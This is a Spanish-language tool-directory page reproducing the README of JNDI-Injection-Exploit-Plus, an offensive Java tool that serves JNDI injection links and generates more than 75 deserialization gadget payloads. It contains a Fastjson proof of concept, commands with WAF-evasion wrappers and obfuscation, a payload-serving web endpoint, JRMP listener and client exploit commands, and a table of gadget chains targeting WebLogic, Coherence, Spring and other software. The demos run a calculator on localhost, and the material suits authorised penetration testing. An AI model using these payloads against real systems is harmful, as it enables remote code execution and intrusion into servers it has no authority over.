Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
JNDI-Injection-Exploit-Plus — Genera enlaces funcionales de inyección JNDI y payloads de deserialización con más de 80 gadgets, compatible con servidores RMI, LDAP y HTTP para pruebas automatizadas de vulnerabilidades. | Kitploit
Herramientas/GitHubGitHub/cckuailong/jndi-injection-exploit-plus
Frameworks de ExploitsAnálisis de VulnerabilidadesExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubcckuailong/jndi-injection-exploit-plus

JNDI-Injection-Exploit-Plus

Genera enlaces funcionales de inyección JNDI y payloads de deserialización con más de 80 gadgets, compatible con servidores RMI, LDAP y HTTP para pruebas automatizadas de vulnerabilidades.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
880114hace 2 añosRevisado por Kitploit

JNDI-Injection-Exploit-Plus

中文 README

Descripción

JNDI-Injection-Exploit-Plus es una herramienta para generar enlaces JNDI funcionales y proporcionar servicios en segundo plano iniciando servidores RMI, LDAP y HTTP.

Usando esta herramienta puedes obtener enlaces JNDI, puedes insertar estos enlaces en tu POC para probar vulnerabilidades.

Por ejemplo, este es un POC de vulnerabilidad Fastjson:

root@kitploit:~
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

Podemos reemplazar "rmi://127.0.0.1:1099/Object" con el enlace generado por JNDI-Injection-Exploit-Plus para probar la vulnerabilidad.

Además, también puedes usar JNDI-Injection-Exploit-Plus para generar payloads de tipo base64/hex como ysoserial

Más que JNDI-Injection-Exploit

JNDI-Injection-Exploit es una gran herramienta, esta es la versión plus de la misma.

Novedades

1. Más gadgets de referencia remota JNDI: (total: 3)

  • Compatible con JDK 6/7/8

2. Más gadgets de referencia local JNDI: (total: 4)

3. Gadgets de Deserialización (total: 75)

Nota: Más gadgets (⬆️ ) que ysoserial, ¡bienvenidos PRs! ^_^

4. Generar y exportar payloads

Como ysoserial.

Puedes generar los payloads de deserialización con salida de tipo Base64 o HEX.

5. Wrapper

Algunos Wrappers para envolver datos de deserialización.

WrapperEjemplo de Vulnerabilidades
XstreamCVE-2021-39149
ApereoApereo 4.1 RCE por Deserialización
  • Ejemplo
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. Fusión

Ocultar nombre de clase para evitar WAF.

  • Ejemplo
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

Referencia: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

Servicio web para devolver Gadgets de Deserialización

root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
root@kitploit:~
POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}output={base64/hex}

Nota: Los parámetros wrapper y output son opcionales.

Uso

Enlaces JNDI

Ejecutar como

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [comando] [-A] [dirección]

donde:

  • -C - comando ejecutado en el archivo de clase remoto.

    (opcional, comando por defecto es "open /Applications/Calculator.app")

  • -A - la dirección de tu servidor, puede ser una IP o un dominio.

    (opcional, dirección por defecto es la primera dirección de interfaz de red)

Puntos a tener en cuenta:

  • asegúrate de que los puertos de tu servidor (1099, 1389, 8180) estén disponibles.

    o puedes cambiar el puerto por defecto en la clase run.ServerStart.

  • tu comando se pasa a Runtime.getRuntime().exec() como parámetros,

    por lo que debes asegurarte de que tu comando sea funcional en el método exec().

    Los comandos en bash como "bash -c ...." necesitan añadir comillas dobles.

Payloads de Deserialización

Ejecutar como

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [comando] [-D] [Gadget] [-O] [base64/hex]

donde:

  • -C - comando ejecutado en el archivo de clase remoto.

    (opcional, comando por defecto es "open /Applications/Calculator.app")

  • -D - El nombre del payload del gadget de deserialización.

  • -O - (Opcional) El tipo de salida de deserialización, por defecto es base64

Exploits de Deserialización

JRMP

  • JRMPListener
root@kitploit:~
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <puerto> CommonsCollections1 calc
  • JRMPClient
root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<puerto>" -D "JRMPClient" -O base64

Ejemplos

Enlaces JNDI

Demo local:

  1. Inicia la herramienta así:

    root@kitploit:~
    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
    

    Captura de pantalla:

  2. Supongamos que inyectamos los enlaces JNDI como rmi://ADDRESS/remoteExploit8 generados en el paso 1 en una aplicación vulnerable que puede ser atacada mediante inyección JNDI.

    En este ejemplo, se ve así:

    root@kitploit:~
    class Test{
        public static void main(String[] args) throws Exception{
            InitialContext ctx = new InitialContext();
            ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
        }
    }
    

    entonces cuando ejecutamos este código, el comando se ejecutará y el registro se imprimirá en la shell:

Para más ejemplos: Test-JNDI-Injection-Exploit-Plus

Payloads de Deserialización

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Resultado de salida Base64:

Instalación

Podemos seleccionar uno de los dos métodos para obtener el jar.

  1. Descarga el último jar desde Realease.

  2. Clona el código fuente localmente y compílalo (requiere Java 1.8+ y Maven 3.x+).

    root@kitploit:~
    $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
    
    root@kitploit:~
    $ cd JNDI-Injection-Exploit-Plus
    
    root@kitploit:~
    $ mvn clean package -DskipTests
    

Nota. ‼️ Si obtienes un error como "java.rmi.xxx does not exists", debes configurar la variable de entorno JAVA_HOME.

Descargo de responsabilidad

Toda la información y el código se proporcionan únicamente con fines educativos y/o para probar tus propios sistemas para estas vulnerabilidades.

Descargar herramienta
Payloadautordependencias
Tomcat 8+ o SpringBoot@welk1ntrustURLCodebase es falso pero tiene Tomcat 8+ o SpringBoot 1.2.x+ en el classpath
Groovy (GroovyClassLoader)@cckuailongtrustURLCodebase es falso pero tiene Tomcat y Groovy en el classpath
Groovy (GroovyShell)@cckuailongtrustURLCodebase es falso pero tiene Tomcat y Groovy en el classpath
Websphere Readfile@cckuailongtrustURLCodebase es falso pero tiene WebSphere v6-v9 en el classpath
payloadautordependencias
AspectJWeaver@Jangaspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1@pwntester, @cschneider4711bsh:2.0b5
C3P0@mbechlerc3p0:0.9.5.2, mchange-commons-java:0.2.11
C3P0Tomcat@yulegeyutomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11
Click1@artsploitclick-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure@JackOfMostTradesclojure:1.8.0
Coherence1 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence2 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence3 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence4 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence5 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence6 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
CommonsBeanutils1@frohoffcommons-beanutils:1.9.2
CommonsBeanutils2 ⬆️@cckuailongcommons-beanutils:1.9.2
CommonsCollections1@frohoffcommons-collections:3.1
CommonsCollections1_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections2@frohoffcommons-collections4:4.0
CommonsCollections2_1 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections3@frohoffcommons-collections:3.1
CommonsCollections3_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections4@frohoffcommons-collections4:4.0
CommonsCollections5@matthias_kaiser, @jasinnercommons-collections:3.1
CommonsCollections5_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6@matthias_kaisercommons-collections:3.1
CommonsCollections6_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_2 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_3 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections7@scristalli, @hanyrax, @EdoardoVignaticommons-collections:3.1
CommonsCollections7_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections8 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections9 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections10 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections11 ⬆️@cckuailongcommons-collections:3.1
FileUpload1@mbechlercommons-fileupload:1.3.1, commons-io:2.4
Groovy1@frohoffgroovy:2.3.9
Hibernate1@mbechler
Hibernate2@mbechler
Jackson ⬆️@y4ercom.fasterxml.jackson.core:jackson-databind:2.14.2
JBossInterceptors1@matthias_kaiserjavassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21@frohoff
JRMPClient1@mbechler
JRMPClient2 ⬆️@cckuailong
JRMPClient3 ⬆️@cckuailong
JRMPClient4 ⬆️@cckuailong
JRMPClient5 ⬆️@cckuailong
JRMPClient6 ⬆️@cckuailong
JRMPListener1@cckuailong
JSON1@mbechlerjson-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1@matthias_kaiserjavassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jython1@pwntester, @cschneider4711jython-standalone:2.5.2
MozillaRhino1@matthias_kaiserjs:1.7R2
MozillaRhino2@_tint0js:1.7R2
Myfaces1@mbechler
Myfaces2@mbechler
ROME1@mbechlerrome:1.0
ROME2 ⬆️@firebaskyrome:1.0
Scala1 ⬆️@jarijorg.scala-lang:scala-library:2.13.x
Spring1@frohoffspring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2@mbechlerspring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
Spring3 ⬆️@cckuailongspring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
URLDNS@geblsolo detección de vulnerabilidades con JRE
Vaadin1@kai_ullrichvaadin-server:7.7.14, vaadin-shared:7.7.14
Weblogic1 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic2 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic3 ⬆️@cckuailongcom.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
Weblogic4 ⬆️@cckuailongweblogic.common.internal.WLObjectOutputStream
Weblogic5 ⬆️@cckuailongweblogic:12.2.1.4, coherence
Weblogic6 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic7 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic8 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic9 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic10 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic11 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Wicket1@jacob-baineswicket-util:6.23.0, slf4j-api:1.6.4
WildFly1 ⬆️@hugoworg.wildfly:wildfly-connector:26.0.1.Final
JbossRemotingDeserialización de puerto Jboss Remoting
GzipAlgunas interfaces de yonyou usan Gzip
DirtyInsertar muchos datos sucios para evitar WAF